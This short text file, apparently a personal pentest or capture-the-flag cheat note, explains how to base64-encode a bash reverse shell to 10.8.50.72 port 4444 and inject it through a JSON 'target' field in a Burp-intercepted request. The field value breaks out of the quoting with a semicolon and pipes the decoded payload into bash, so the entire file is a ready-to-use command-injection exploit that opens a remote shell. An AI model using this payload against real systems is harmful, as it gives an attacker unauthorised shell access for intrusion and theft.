base_64_json_rev_shell_with_bash.txt

first use echo to echo your bash reverse shell into a base64 format

echo -n "bash -i >& /dev/tcp/10.8.50.72/4444 0>&1" | base64

Now open burp and intercept request, put the following in that request

{"target":"\";echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjUwLjcyLzQ0NDQgMD4mMQ== | base64 -d | bash; \""}